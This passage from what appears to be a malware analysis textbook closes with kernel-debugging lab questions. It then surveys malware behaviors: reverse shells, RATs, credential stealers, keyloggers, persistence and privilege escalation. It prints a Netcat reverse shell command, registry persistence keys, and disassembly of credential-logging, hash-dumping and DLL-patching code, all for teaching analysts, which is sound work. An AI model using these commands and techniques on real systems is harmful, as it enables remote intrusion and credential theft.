rootkits. In the next several chapters, we’ll shift our discussion from analysis 
tools to how malware operates on the local system and across the network.
Kernel  Debugging wi th WinDbg 227



L A B S
Lab 10-1

This lab includes both a driver and an executable. You can run the execut-
able from anywhere, but in order for the program to work properly, the 
driver must be placed in the C:\Windows\System32 directory where it was origi-
nally found on the victim computer. The executable is Lab10-01.exe, and the 
driver is Lab10-01.sys.

Questions

1. Does this program make any direct changes to the registry? (Use procmon 
to check.)

2. The user-space program calls the ControlService function. Can you set a 
breakpoint with WinDbg to see what is executed in the kernel as a result 
of the call to ControlService?

3. What does this program do?

Lab 10-2

The file for this lab is Lab10-02.exe.

Questions

1. Does this program create any files? If so, what are they?

2. Does this program have a kernel component?

3. What does this program do?

Lab 10-3

This lab includes a driver and an executable. You can run the executable 
from anywhere, but in order for the program to work properly, the driver 
must be placed in the C:\Windows\System32 directory where it was originally 
found on the victim computer. The executable is Lab10-03.exe, and the driver 
is Lab10-03.sys.

Questions

1. What does this program do?

2. Once this program is running, how do you stop it?

3. What does the kernel component do?
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M A L W A R E  B E H A V I O R

So far, we’ve focused on analyzing malware, and to a 
lesser extent, on what malware can do. The goal of this 
and the next three chapters is to familiarize you with 
the most common characteristics of software that iden-
tify it as malware.

This chapter takes you on a kind of whirlwind tour through the various 
malware behaviors, some of which may already be familiar to you. Our goal is 
to provide a summary of common behaviors, and give you a well-rounded 
foundation of knowledge that will allow you to recognize a variety of mali-
cious applications. We can’t possibly cover all types of malware because new 
malware is always being created with seemingly endless capabilities, but we 
can give you a good understanding of the sorts of things to look for.

Downloaders and Launchers

Two commonly encountered types of malware are downloaders and launch-
ers. Downloaders simply download another piece of malware from the Inter-
net and execute it on the local system. Downloaders are often packaged with 



an exploit. Downloaders commonly use the Windows API URLDownloadtoFileA, 
followed by a call to WinExec to download and execute new malware.

A launcher (also known as a loader) is any executable that installs malware 
for immediate or future covert execution. Launchers often contain the 
malware that they are designed to load. We discuss launchers extensively in 
Chapter 12.

Backdoors

A backdoor is a type of malware that provides an attacker with remote access to 
a victim’s machine. Backdoors are the most commonly found type of mal-
ware, and they come in all shapes and sizes with a wide variety of capabilities. 
Backdoor code often implements a full set of capabilities, so when using 
a backdoor attackers typically don’t need to download additional malware 
or code.

Backdoors communicate over the Internet in numerous ways, but a 
common method is over port 80 using the HTTP protocol. HTTP is the most 
commonly used protocol for outgoing network traffic, so it offers malware 
the best chance to blend in with the rest of the traffic.

In Chapter 14, you will see how to analyze backdoors at the packet level, 
to create effective network signatures. For now, we will focus on high-level 
communication.

Backdoors come with a common set of functionality, such as the ability 
to manipulate registry keys, enumerate display windows, create directories, 
search files, and so on. You can determine which of these features is imple-
mented by a backdoor by looking at the Windows functions it uses and 
imports. See Appendix A for a list of common functions and what they 
can tell you about a piece of malware.

Reverse Shell
A reverse shell is a connection that originates from an infected machine and 
provides attackers shell access to that machine. Reverse shells are found as 
both stand-alone malware and as components of more sophisticated back-
doors. Once in a reverse shell, attackers can execute commands as if they 
were on the local system.

Netcat Reverse Shells

Netcat, discussed in Chapter 3, can be used to create a reverse shell by run-
ning it on two machines. Attackers have been known to use Netcat or pack-
age Netcat within other malware.

When Netcat is used as a reverse shell, the remote machine waits for 
incoming connections using the following:

nc -l –p 80 
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The –l option sets Netcat to listening mode, and –p is used to set the port 
on which to listen. Next, the victim machine connects out and provides the 
shell using the following command:

nc listener_ip 80 -e cmd.exe

The listener_ip 80 parts are the IP address and port on the remote 
machine. The -e option is used to designate a program to execute once the 
connection is established, tying the standard input and output from the pro-
gram to the socket (on Windows, cmd.exe is often used, as discussed next).

Windows Reverse Shells

Attackers employ two simple malware coding implementations for reverse 
shells on Windows using cmd.exe: basic and multithreaded.

The basic method is popular among malware authors, since it’s easier 
to write and generally works just as well as the multithreaded technique. It 
involves a call to CreateProcess and the manipulation of the STARTUPINFO struc-
ture that is passed to CreateProcess. First, a socket is created and a connection 
to a remote server is established. That socket is then tied to the standard 
streams (standard input, standard output, and standard error) for cmd.exe. 
CreateProcess runs cmd.exe with its window suppressed, to hide it from the vic-
tim. There is an example of this method in Chapter 7.

The multithreaded version of a Windows reverse shell involves the 
creation of a socket, two pipes, and two threads (so look for API calls to 
CreateThread and CreatePipe). This method is sometimes used by malware 
authors as part of a strategy to manipulate or encode the data coming in or 
going out over the socket. CreatePipe can be used to tie together read and 
write ends to a pipe, such as standard input (stdin) and standard output 
(stdout). The CreateProcess method can be used to tie the standard streams 
to pipes instead of directly to the sockets. After CreateProcess is called, the 
malware will spawn two threads: one for reading from the stdin pipe and 
writing to the socket, and the other for reading the socket and writing to 
the stdout pipe. Commonly, these threads manipulate the data using data 
encoding, which we’ll cover in Chapter 13. You can reverse-engineer the 
encoding/decoding routines used by the threads to decode packet cap-
tures containing encoded sessions.

RATs
A remote administration tool (RAT) is used to remotely manage a computer or 
computers. RATs are often used in targeted attacks with specific goals, such 
as stealing information or moving laterally across a network.

Figure 11-1 shows the RAT network structure. The server is running on 
a victim host implanted with malware. The client is running remotely as the 
command and control unit operated by the attacker. The servers beacon to 
the client to start a connection, and they are controlled by the client. RAT 
communication is typically over common ports like 80 and 443.
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Figure 11-1: RAT network structure

NOTE Poison Ivy (http://www.poisonivy-rat.com/) is a freely available and popular RAT. 
Its functionality is controlled by shellcode plug-ins, which makes it extensible. Poison 
Ivy can be a useful tool for quickly generating malware samples to test or analyze.

Botnets
A botnet is a collection of compromised hosts, known as zombies, that are con-
trolled by a single entity, usually through the use of a server known as a botnet 
controller. The goal of a botnet is to compromise as many hosts as possible in 
order to create a large network of zombies that the botnet uses to spread 
additional malware or spam, or perform a distributed denial-of-service (DDoS) 
attack. Botnets can take a website offline by having all of the zombies attack 
the website at the same time.

RATs and Botnets Compared
There are a few key differences between botnets and RATs:

 Botnets have been known to infect and control millions of hosts. RATs 
typically control far fewer hosts.

 All botnets are controlled at once. RATs are controlled on a per-victim 
basis because the attacker is interacting with the host at a much more 
intimate level.

 RATs are used in targeted attacks. Botnets are used in mass attacks.

Credential Stealers

Attackers often go to great lengths to steal credentials, primarily with three 
types of malware:

 Programs that wait for a user to log in in order to steal their credentials

 Programs that dump information stored in Windows, such as password 
hashes, to be used directly or cracked offline

 Programs that log keystrokes

In this section, we will discuss each of these types of malware.

Client

Server Server Server Server

Action Action Action Action Action Action Action Action
234 Chapter 11



GINA Interception
On Windows XP, Microsoft’s Graphical Identification and Authentication (GINA) 
interception is a technique that malware uses to steal user credentials. The 
GINA system was intended to allow legitimate third parties to customize the 
logon process by adding support for things like authentication with hard-
ware radio-frequency identification (RFID) tokens or smart cards. Malware 
authors take advantage of this third-party support to load their credential 
stealers.

GINA is implemented in a DLL, msgina.dll, and is loaded by the Win-
logon executable during the login process. Winlogon also works for third-
party customizations implemented in DLLs by loading them in between 
Winlogon and the GINA DLL (like a man-in-the-middle attack). Windows 
conveniently provides the following registry location where third-party DLLs 
will be found and loaded by Winlogon:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL

In one instance, we found a malicious file fsgina.dll installed in this regis-
try location as a GINA interceptor.

Figure 11-2 shows an example of the way that logon credentials flow 
through a system with a malicious file between Winlogon and msgina.dll. The 
malware ( fsgina.dll) is able to capture all user credentials submitted to the 
system for authentication. It can log that information to disk or pass it over 
the network.

Figure 11-2: Malicious fsgina.dll sits in between the Windows system files to cap-
ture data.

Because fsgina.dll intercepts the communication between Winlogon and 
msgina.dll, it must pass the credential information on to msgina.dll so that the 
system will continue to operate normally. In order to do so, the malware 
must contain all DLL exports required by GINA; specifically, it must export 
more than 15 functions, most of which are prepended with Wlx. Clearly, if 
you find that you are analyzing a DLL with many export functions that begin 
with the string Wlx, you have a good indicator that you are examining a GINA 
interceptor. 

Most of these exports simply call through to the real functions in 
msgina.dll. In the case of fsgina.dll, all but the WlxLoggedOutSAS export call 
through to the real functions. Listing 11-1 shows the WlxLoggedOutSAS export 
of fsgina.dll.

100014A0 WlxLoggedOutSAS 
100014A0         push    esi
100014A1         push    edi
100014A2         push    offset aWlxloggedout_0 ; "WlxLoggedOutSAS"
100014A7         call    Call_msgina_dll_function 

winlogon.exe fsgina.dll msgina.dll
Malware Behavior 235



...
100014FB         push    eax ; Args
100014FC         push    offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s"
10001501         push    offset aDRIVERS ; "drivers\tcpudp.sys"
10001503         call    Log_To_File 

Listing 11-1: GINA DLL WlxLoggedOutSAS export function for logging stolen credentials

As you can see at , the credential information is immediately passed to 
msgina.dll by the call we have labeled Call_msgina_dll_function. This function 
dynamically resolves and calls WlxLoggedOutSAS in msgina.dll, which is passed in 
as a parameter. The call at  performs the logging. It takes parameters of the 
credential information, a format string that will be used to print the creden-
tials, and the log filename. As a result, all successful user logons are logged to 
%SystemRoot%\system32\drivers\tcpudp.sys. The log includes the username, 
domain, password, and old password.

Hash Dumping
Dumping Windows hashes is a popular way for malware to access system cre-
dentials. Attackers try to grab these hashes in order to crack them offline or 
to use them in a pass-the-hash attack. A pass-the-hash attack uses LM and 
NTLM hashes to authenticate to a remote host (using NTLM authentica-
tion) without needing to decrypt or crack the hashes to obtain the plaintext 
password to log in.

Pwdump and the Pass-the-Hash (PSH) Toolkit are freely available pack-
ages that provide hash dumping. Since both of these tools are open source, a 
lot of malware is derived from their source code. Most antivirus programs 
have signatures for the default compiled versions of these tools, so attackers 
often try to compile their own versions in order to avoid detection. The 
examples in this section are derived versions of pwdump or PSH that we 
have encountered in the field.

Pwdump is a set of programs that outputs the LM and NTLM password 
hashes of local user accounts from the Security Account Manager (SAM). 
Pwdump works by performing DLL injection inside the Local Security 
Authority Subsystem Service (LSASS) process (better known as lsass.exe). 
We’ll discuss DLL injection in depth in Chapter 12. For now, just know that 
it is a way that malware can run a DLL inside another process, thereby pro-
viding that DLL with all of the privileges of that process. Hash dumping tools 
often target lsass.exe because it has the necessary privilege level as well as access 
to many useful API functions.

Standard pwdump uses the DLL lsaext.dll. Once it is running inside 
lsass.exe, pwdump calls GetHash, which is exported by lsaext.dll in order to 
perform the hash extraction. This extraction uses undocumented Windows 
function calls to enumerate the users on a system and get the password 
hashes in unencrypted form for each user.

When dealing with pwdump variants, you will need to analyze DLLs in 
order to determine how the hash dumping operates. Start by looking at the 
DLL’s exports. The default export name for pwdump is GetHash, but attackers 
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can easily change the name to make it less obvious. Next, try to determine 
the API functions used by the exports. Many of these functions will be 
dynamically resolved, so the hash dumping exports often call GetProcAddress 
many times.

Listing 11-2 shows the code in the exported function GrabHash from a 
pwdump variant DLL. Since this DLL was injected into lsass.exe, it must man-
ually resolve numerous symbols before using them.

1000123F         push    offset LibFileName      ; "samsrv.dll" 
10001244         call    esi ; LoadLibraryA
10001248         push    offset aAdvapi32_dll_0  ; "advapi32.dll" 
...
10001251         call    esi ; LoadLibraryA
...
1000125B         push    offset ProcName         ; "SamIConnect"
10001260         push    ebx                     ; hModule
10001265         call    esi ; GetProcAddress
...
10001281         push    offset aSamrqu ; "SamrQueryInformationUser"
10001286         push    ebx                     ; hModule
1000128C         call    esi ; GetProcAddress
...
100012C2         push    offset aSamigetpriv ; "SamIGetPrivateData"
100012C7         push    ebx                     ; hModule
100012CD         call    esi ; GetProcAddress
...
100012CF         push    offset aSystemfuncti  ; "SystemFunction025" 
100012D4         push    edi                     ; hModule
100012DA         call    esi ; GetProcAddress
100012DC         push    offset aSystemfuni_0  ; "SystemFunction027" 
100012E1         push    edi                     ; hModule
100012E7         call    esi ; GetProcAddress

Listing 11-2: Unique API calls used by a pwdump variant’s export function GrabHash

Listing 11-2 shows the code obtaining handles to the libraries samsrv.dll 
and advapi32.dll via LoadLibrary at  and . Samsrv.dll contains an API to 
easily access the SAM, and advapi32.dll is resolved to access functions not 
already imported into lsass.exe. The pwdump variant DLL uses the handles 
to these libraries to resolve many functions, with the most important five 
shown in the listing (look for the GetProcAddress calls and parameters).

The interesting imports resolved from samsrv.dll are SamIConnect, 
SamrQueryInformationUser, and SamIGetPrivateData. Later in the code, SamIConnect 
is used to connect to the SAM, followed by calling SamrQueryInformationUser 
for each user on the system. 

The hashes will be extracted with SamIGetPrivateData and decrypted by 
SystemFunction025 and SystemFunction027, which are imported from advapi32.dll, 
as seen at  and . None of the API functions in this listing are documented 
by Microsoft.
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The PSH Toolkit contains programs that dump hashes, the most popular 
of which is known as whosthere-alt. whosthere-alt dumps the SAM by inject-
ing a DLL into lsass.exe, but using a completely different set of API functions 
from pwdump. Listing 11-3 shows code from a whosthere-alt variant that 
exports a function named TestDump.

10001119        push    offset LibFileName ; "secur32.dll"
1000111E        call    ds:LoadLibraryA
10001130        push    offset ProcName ; "LsaEnumerateLogonSessions"
10001135        push    esi             ; hModule
10001136        call    ds:GetProcAddress 
...
10001670        call    ds:GetSystemDirectoryA
10001676        mov     edi, offset aMsv1_0_dll ; \\msv1_0.dll
...
100016A6        push    eax             ; path to msv1_0.dll
100016A9        call    ds:GetModuleHandleA 

Listing 11-3: Unique API calls used by a whosthere-alt variant’s export function TestDump

Since this DLL is injected into lsass.exe, its TestDump function performs 
the hash dumping. This export dynamically loads secur32.dll and resolves its 
LsaEnumerateLogonSessions function at  to obtain a list of locally unique iden-
tifiers (known as LUIDs). This list contains the usernames and domains for 
each logon and is iterated through by the DLL, which gets access to the cre-
dentials by finding a nonexported function in the msv1_0.dll Windows DLL 
in the memory space of lsass.exe using the call to GetModuleHandle shown at . 
This function, NlpGetPrimaryCredential, is used to dump the NT and LM 
hashes.

NOTE While it is important to recognize the dumping technique, it might be more critical to 
determine what the malware is doing with the hashes. Is it storing them on a disk, post-
ing them to a website, or using them in a pass-the-hash attack? These details could be 
really important, so identifying the low-level hash dumping method should be avoided 
until the overall functionality is determined.

Keystroke Logging
Keylogging is a classic form of credential stealing. When keylogging, malware 
records keystrokes so that an attacker can observe typed data like usernames 
and passwords. Windows malware uses many forms of keylogging.

Kernel-Based Keyloggers

Kernel-based keyloggers are difficult to detect with user-mode applications. 
They are frequently part of a rootkit and they can act as keyboard drivers to 
capture keystrokes, bypassing user-space programs and protections.
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User-Space Keyloggers

Windows user-space keyloggers typically use the Windows API and are 
usually implemented with either hooking or polling. Hooking uses the 
Windows API to notify the malware each time a key is pressed, typically 
with the SetWindowsHookEx function. Polling uses the Windows API to con-
stantly poll the state of the keys, typically using the GetAsyncKeyState and 
GetForegroundWindow functions.

Hooking keyloggers leverage the Windows API function SetWindowsHookEx. 
This type of keylogger may come packaged as an executable that initiates the 
hook function, and may include a DLL file to handle logging that can be 
mapped into many processes on the system automatically. We discuss using 
SetWindowsHookEx in Chapter 12.

We’ll focus on polling keyloggers that use GetAsyncKeyState and 
GetForegroundWindow. The GetAsyncKeyState function identifies whether a key 
is pressed or depressed, and whether the key was pressed after the most 
recent call to GetAsyncKeyState. The GetForegroundWindow function identifies 
the foreground window—the one that has focus—which tells the keylogger 
which application is being used for keyboard entry (Notepad or Internet 
Explorer, for example). 

Figure 11-3 illustrates a typical loop structure found in a polling keylog-
ger. The program begins by calling GetForegroundWindow, which logs the active 
window. Next, the inner loop iterates through a list of keys on the keyboard. 
For each key, it calls GetAsyncKeyState to determine if a key has been pressed. 
If so, the program checks the SHIFT and CAPS LOCK keys to determine how to 
log the keystroke properly. Once the inner loop has iterated through the 
entire list of keys, the GetForegroundWindow function is called again to ensure 
the user is still in the same window. This process repeats quickly enough 
to keep up with a user’s typing. (The keylogger may call the Sleep function to 
keep the program from eating up system resources.)

Figure 11-3: Loop structure of GetAsyncKeyState and GetForegroundWindow 
keylogger

Call GetForegroundWindow 
Log if new window

Call GetAsyncKeyState 
Check Shift and Caps Lock

Log if new key pressed

Done iterating through all keys?

Check next key

NO

YES
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Listing 11-4 shows the loop structure in Figure 11-3 disassembled.

00401162         call    ds:GetForegroundWindow
...
00401272         push    10h                    ; nVirtKey Shift
00401274         call    ds:GetKeyState
0040127A         mov     esi, dword_403308[ebx] 
00401280         push    esi                     ; vKey
00401281         movsx   edi, ax
00401284         call    ds:GetAsyncKeyState
0040128A         test    ah, 80h
0040128D         jz      short loc_40130A
0040128F         push    14h                     ; nVirtKey Caps Lock
00401291         call    ds:GetKeyState
...
004013EF         add     ebx, 4 
004013F2         cmp     ebx, 368
004013F8         jl      loc_401272

Listing 11-4: Disassembly of GetAsyncKeyState and GetForegroundWindow keylogger

The program calls GetForegroundWindow before entering the inner loop. 
The inner loop starts at  and immediately checks the status of the SHIFT key 
using a call to GetKeyState. GetKeyState is a quick way to check a key status, but 
it does not remember whether or not the key was pressed since the last time it 
was called, as GetAsyncKeyState does. Next, at  the keylogger indexes an array 
of the keys on the keyboard using EBX. If a new key is pressed, then the key-
stroke is logged after calling GetKeyState to see if CAPS LOCK is activated. Finally, 
EBX is incremented at  so that the next key in the list can be checked. 
Once 92 keys (368/4) have been checked, the inner loop terminates, and 
GetForegroundWindow is called again to start the inner loop from the beginning.

Identifying Keyloggers in Strings Listings

You can recognize keylogger functionality in malware by looking at the 
imports for the API functions, or by examining the strings listing for indica-
tors, which is particularly useful if the imports are obfuscated or the malware 
is using keylogging functionality that you have not encountered before. For 
example, the following listing of strings is from the keylogger described in 
the previous section:

[Up]
[Num Lock]
[Down]
[Right]
[UP]
[Left]
[PageDown]
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If a keylogger wants to log all keystrokes, it must have a way to print keys 
like PAGE DOWN, and must have access to these strings. Working backward 
from the cross-references to these strings can be a way to recognize keylog-
ging functionality in malware.

Persistence Mechanisms

Once malware gains access to a system, it often looks to be there for a long 
time. This behavior is known as persistence. If the persistence mechanism is 
unique enough, it can even serve as a great way to fingerprint a given piece 
of malware.

In this section, we begin with a discussion of the most commonly achieved 
method of persistence: modification of the system’s registry. Next, we review 
how malware modifies files for persistence through a process known as trojan-
izing binaries. Finally, we discuss a method that achieves persistence without 
modifying the registry or files, known as DLL load-order hijacking.

The Windows Registry
When we discussed the Windows registry in Chapter 7, we noted that it is 
common for malware to access the registry to store configuration informa-
tion, gather information about the system, and install itself persistently. You 
have seen in labs and throughout the book that the following registry key is a 
popular place for malware to install itself:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 

There are many other persistence locations in the registry, but we won’t 
list all of them, because memorizing them and then searching for each entry 
manually would be tedious and inefficient. There are tools that can search 
for persistent registries for you, like the Autoruns program by Sysinternals, 
which points you to all the programs that automatically run on your system. 
Tools like ProcMon can monitor for registry modification while performing 
basic dynamic analysis.

Although we covered registry analysis earlier in the book, there are a 
couple popular registry entries that are worth expanding on further that we 
haven’t discussed yet: AppInit_DLLs, Winlogon, and SvcHost DLLs.

AppInit_DLLs

Malware authors can gain persistence for their DLLs though a special regis-
try location called AppInit_DLL. AppInit_DLLs are loaded into every process 
that loads User32.dll, and a simple insertion into the registry will make 
AppInit_DLLs persistent.

The AppInit_DLLs value is stored in the following Windows registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
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The AppInit_DLLs value is of type REG_SZ and consists of a space-delimited 
string of DLLs. Most processes load User32.dll, and all of those processes also 
load the AppInit_DLLs. Malware authors often target individual processes, 
but AppInit_DLLs will be loaded into many processes. Therefore, malware 
authors must check to see in which process the DLL is running before exe-
cuting their payload. This check is often performed in DllMain of the mali-
cious DLL.

Winlogon Notify

Malware authors can hook malware to a particular Winlogon event, such as 
logon, logoff, startup, shutdown, and lock screen. This can even allow the 
malware to load in safe mode. The registry entry consists of the Notify value 
in the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\

When winlogon.exe generates an event, Windows checks the Notify regis-
try key for a DLL that will handle it.

SvcHost DLLs

As discussed in Chapter 7, all services persist in the registry, and if they’re 
removed from the registry, the service won’t start. Malware is often installed 
as a Windows service, but typically uses an executable. Installing malware for 
persistence as an svchost.exe DLL makes the malware blend into the process 
list and the registry better than a standard service.

Svchost.exe is a generic host process for services that run from DLLs, and 
Windows systems often have many instances of svchost.exe running at once. 
Each instance of svchost.exe contains a group of services that makes develop-
ment, testing, and service group management easier. The groups are defined 
at the following registry location (each value represents a different group):

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

Services are defined in the registry at the following location:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName

Windows services contain many registry values, most of which provide 
information about the service, such as DisplayName and Description. Malware 
authors often set values that help the malware blend in, such as NetWareMan, 
which “Provides access to file and print resources on NetWare networks.” 
Another service registry value is ImagePath, which contains the location of 
the service executable. In the case of an svchost.exe DLL, this value contains 
%SystemRoot%/System32/svchost.exe –k GroupName.

All svchost.exe DLLs contain a Parameters key with a ServiceDLL value, which 
the malware author sets to the location of the malicious DLL. The Start 
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value, also under the Parameters key, determines when the service is started 
(malware is typically set to launch during system boot).

Windows has a set number of service groups predefined, so malware will 
typically not create a new group, since that would be easy to detect. Instead, 
most malware will add itself to a preexisting group or overwrite a nonvital 
service—often a rarely used service from the netsvcs service group. To iden-
tify this technique, monitor the Windows registry using dynamic analysis, or 
look for service functions such as CreateServiceA in the disassembly. If mal-
ware is modifying these registry keys, you’ll know that it’s using this persis-
tence technique.

Trojanized System Binaries
Another way that malware gains persistence is by trojanizing system binaries. 
With this technique, the malware patches bytes of a system binary to force 
the system to execute the malware the next time the infected binary is run or 
loaded. Malware authors typically target a system binary that is used frequently 
in normal Windows operation. DLLs are a popular target.

A system binary is typically modified by patching the entry function so 
that it jumps to the malicious code. The patch overwrites the very beginning 
of the function or some other code that is not required for the trojanized 
DLL to operate properly. The malicious code is added to an empty section 
of the binary, so that it will not impact normal operation. The inserted code 
typically loads malware and will function no matter where it’s inserted in the 
infected DLL. After the code loads the malware, it jumps back to the original 
DLL code, so that everything still operates as it did prior to the patch.

While examining one infected system, we noticed that the system 
binary rtutils.dll did not have the expected MD5 hash, so we investigated 
further. We loaded the suspect version of rtutils.dll, along with a clean ver-
sion, into IDA Pro. The comparison between their DllEntryPoint functions 
is shown in Table 11-1. The difference is obvious: the trojanized version 
jumps to another location.

Listing 11-5 shows the malicious code that was inserted into the infected 
rtutils.dll.

Table 11-1: rtutils.dll’s DLL Entry Point Before and After Trojanization

Original code Trojanized code

DllEntryPoint(HINSTANCE hinstDLL, 
DWORD fdwReason, LPVOID lpReserved)

mov   edi, edi
push  ebp
mov   ebp, esp
push  ebx
mov   ebx, [ebp+8]
push  esi
mov   esi, [ebp+0Ch]

DllEntryPoint(HINSTANCE hinstDLL, 
DWORD fdwReason, LPVOID lpReserved)

jmp     DllEntryPoint_0
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76E8A660 DllEntryPoint_0 
76E8A660        pusha
76E8A661        call  sub_76E8A667 
76E8A666        nop
76E8A667 sub_76E8A667 
76E8A667        pop   ecx
76E8A668        mov   eax, ecx
76E8A66A        add   eax, 24h 
76E8A66D        push  eax 
76E8A66E        add   ecx, 0FFFF69E2h
76E8A674        mov   eax, [ecx]
76E8A677        add   eax, 0FFF00D7Bh
76E8A67C        call  eax ; LoadLibraryA
76E8A67E        popa
76E8A67F        mov   edi, edi 
76E8A681        push  ebp
76E8A682        mov   ebp, esp
76E8A684        jmp   loc_76E81BB2
...
76E8A68A        aMsconf32_dll db 'msconf32.dll',0 

Listing 11-5: Malicious patch of code inserted into a system DLL

As you can see, the function labeled DLLEntryPoint_0 does a pusha, which 
is commonly used in malicious code to save the initial state of the register 
so that it can do a popa to restore it when the malicious process completes. 
Next, the code calls sub_76E8A667 at , and the function is executed. Notice 
that it starts with a pop ecx, which will put the return address into the ECX 
register (since the pop comes immediately after a call). The code then adds 
0x24 to this return address (0x76E8A666 + 0x24 = 0x76E8A68A) and pushes 
it on the stack. The location 0x76E8A68A contains the string 'msconf32.dll', 
as seen at . The call to LoadLibraryA causes the patch to load msconf32.dll. 
This means that msconf32.dll will be run and loaded by any process that 
loads rtutils.dll as a module, which includes svchost.exe, explorer.exe, and 
winlogon.exe.

After the call to LoadLibraryA, the patch executes the instruction popa, 
thus restoring the system state that was saved with the original pusha instruc-
tion. After the popa are three instructions (starting at ) that are identical 
to the first three instructions in the clean rtutils.dll DllEntryPoint, shown in 
Table 11-1. After these instructions is a jmp back to the original DllEntryPoint 
method. 

DLL Load-Order Hijacking
DLL load-order hijacking is a simple, covert technique that allows malware 
authors to create persistent, malicious DLLs without the need for a registry 
entry or trojanized binary. This technique does not even require a separate 
malicious loader, as it capitalizes on the way DLLs are loaded by Windows.
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The default search order for loading DLLs on Windows XP is as follows:

1. The directory from which the application loaded

2. The current directory

3. The system directory (the GetSystemDirectory function is used to get the 
path, such as …/Windows/System32/)

4. The 16-bit system directory (such as …/Windows/System/)

5. The Windows directory (the GetWindowsDirectory function is used to get 
the path, such as …/Windows/)

6. The directories listed in the PATH environment variable

Under Windows XP, the DLL loading process can be skipped by utiliz-
ing the KnownDLLs registry key, which contains a list of specific DLL loca-
tions, typically located in …/Windows/System32/. The KnownDLLs mechanism 
is designed to improve security (malicious DLLs can’t be placed higher in 
the load order) and speed (Windows does not need to conduct the default 
search in the preceding list), but it contains only a short list of the most 
important DLLs.

DLL load-order hijacking can be used on binaries in directories other 
than /System32 that load DLLs in /System32 that are not protected by KnownDLLs. 
For example, explorer.exe in the /Windows directory loads ntshrui.dll found in 
/System32. Because ntshrui.dll is not a known DLL, the default search is fol-
lowed, and the /Windows directory is checked before /System32. If a malicious 
DLL named ntshrui.dll is placed in /Windows, it will be loaded in place of the 
legitimate DLL. The malicious DLL can then load the real DLL to ensure 
that the system continues to run properly.

Any startup binary not found in /System32 is vulnerable to this attack, and 
explorer.exe has roughly 50 vulnerable DLLs. Additionally, known DLLs are 
not fully protected due to recursive imports, and because many DLLs load 
other DLLs, which follow the default search order.

Privilege Escalation

Most users run as local administrators, which is good news for malware 
authors. This means that the user has administrator access on the machine, 
and can give the malware those same privileges.

The security community recommends not running as local administra-
tor, so that if you accidentally run malware, it won’t automatically have full 
access to your system. If a user launches malware on a system but is not run-
ning with administrator rights, the malware will usually need to perform a 
privilege-escalation attack to gain full access.

The majority of privilege-escalation attacks are known exploits or 
zero-day attacks against the local OS, many of which can be found in the 
Metasploit Framework (http://www.metasploit.com/). DLL load-order hijack-
ing can even be used for a privilege escalation. If the directory where the 
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malicious DLL is located is writable by the user, and the process that loads 
the DLL is run at a higher privilege level, then the malicious DLL will gain 
escalated privileges. Malware that includes privilege escalation is relatively 
rare, but common enough that an analyst should be able to recognize it.

Sometimes, even when the user is running as local administrator, the 
malware will require privilege escalation. Processes running on a Windows 
machine are run either at the user or the system level. Users generally can’t 
manipulate system-level processes, even if they are administrators. Next, we’ll 
discuss a common way that malware gains the privileges necessary to attack 
system-level processes on Windows machines.

Using SeDebugPrivilege
Processes run by a user don’t have free access to everything, and can’t, 
for instance, call functions like TerminateProcess or CreateRemoteThread on 
remote processes. One way that malware gains access to such functions is 
by setting the access token’s rights to enable SeDebugPrivilege. In Windows 
systems, an access token is an object that contains the security descriptor of a 
process. The security descriptor is used to specify the access rights of the 
owner—in this case, the process. An access token can be adjusted by calling 
AdjustTokenPrivileges.

The SeDebugPrivilege privilege was created as a tool for system-level debug-
ging, but malware authors exploit it to gain full access to a system-level process. 
By default, SeDebugPrivilege is given only to local administrator accounts, and it 
is recognized that granting SeDebugPrivilege to anyone is essentially equivalent 
to giving them LocalSystem account access. A normal user account cannot give 
itself SeDebugPrivilege; the request will be denied.

Listing 11-6 shows how malware enables its SeDebugPrivilege.

00401003 lea     eax, [esp+1Ch+TokenHandle]
00401006 push    eax                     ; TokenHandle
00401007 push    (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY) ; DesiredAccess
00401009 call    ds:GetCurrentProcess
0040100F push    eax                     ; ProcessHandle
00401010 call    ds:OpenProcessToken 
00401016 test    eax, eax
00401018 jz      short loc_401080
0040101A lea     ecx, [esp+1Ch+Luid]
0040101E push    ecx                     ; lpLuid
0040101F push    offset Name             ; "SeDebugPrivilege"
00401024 push    0                       ; lpSystemName
00401026 call    ds:LookupPrivilegeValueA
0040102C test    eax, eax
0040102E jnz     short loc_40103E
...
0040103E mov     eax, [esp+1Ch+Luid.LowPart]
00401042 mov     ecx, [esp+1Ch+Luid.HighPart]
00401046 push    0                       ; ReturnLength
00401048 push    0                       ; PreviousState
0040104A push    10h                     ; BufferLength
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0040104C lea     edx, [esp+28h+NewState]
00401050 push    edx                     ; NewState
00401051 mov     [esp+2Ch+NewState.Privileges.Luid.LowPt], eax 
00401055 mov     eax, [esp+2Ch+TokenHandle]
00401059 push    0                    ; DisableAllPrivileges
0040105B push    eax                  ; TokenHandle
0040105C mov    [esp+34h+NewState.PrivilegeCount], 1
00401064 mov    [esp+34h+NewState.Privileges.Luid.HighPt], ecx 
00401068 mov    [esp+34h+NewState.Privileges.Attributes], SE_PRIVILEGE_ENABLED 
00401070 call   ds:AdjustTokenPrivileges 

Listing 11-6: Setting the access token to SeDebugPrivilege

The access token is obtained using a call to OpenProcessToken at  and 
passing in its process handle (obtained with the call to GetCurrentProcess), 
and the desired access (in this case, to query and adjust privileges) are passed 
in. Next, the malware calls LookupPrivilegeValueA. which retrieves the locally 
unique identifier (LUID). The LUID is a structure that represents the specified 
privilege (in this case, SeDebugPrivilege).

The information obtained from OpenProcessToken and LookupPrivilegeValueA 
is used in the call to AdjustTokenPrivileges at . A key structure, PTOKEN_PRIVILEGES, 
is also passed to AdjustTokenPrivileges and labeled as NewState by IDA Pro. 
Notice that this structure sets the low and high bits of the LUID using the 
result from LookupPrivilegeValueA in a two-step process seen at  and . The 
Attributes section of the NewState structure is set to SE_PRIVILEGE_ENABLED at , 
in order to enable SeDebugPrivilege.

This combination of calls often happens before system process manipu-
lation code. When you see a function containing this code, label it and move 
on. It’s typically not necessary to analyze the intricate details of the escalation 
method that malware uses.

Covering Its Tracks—User-Mode Rootkits

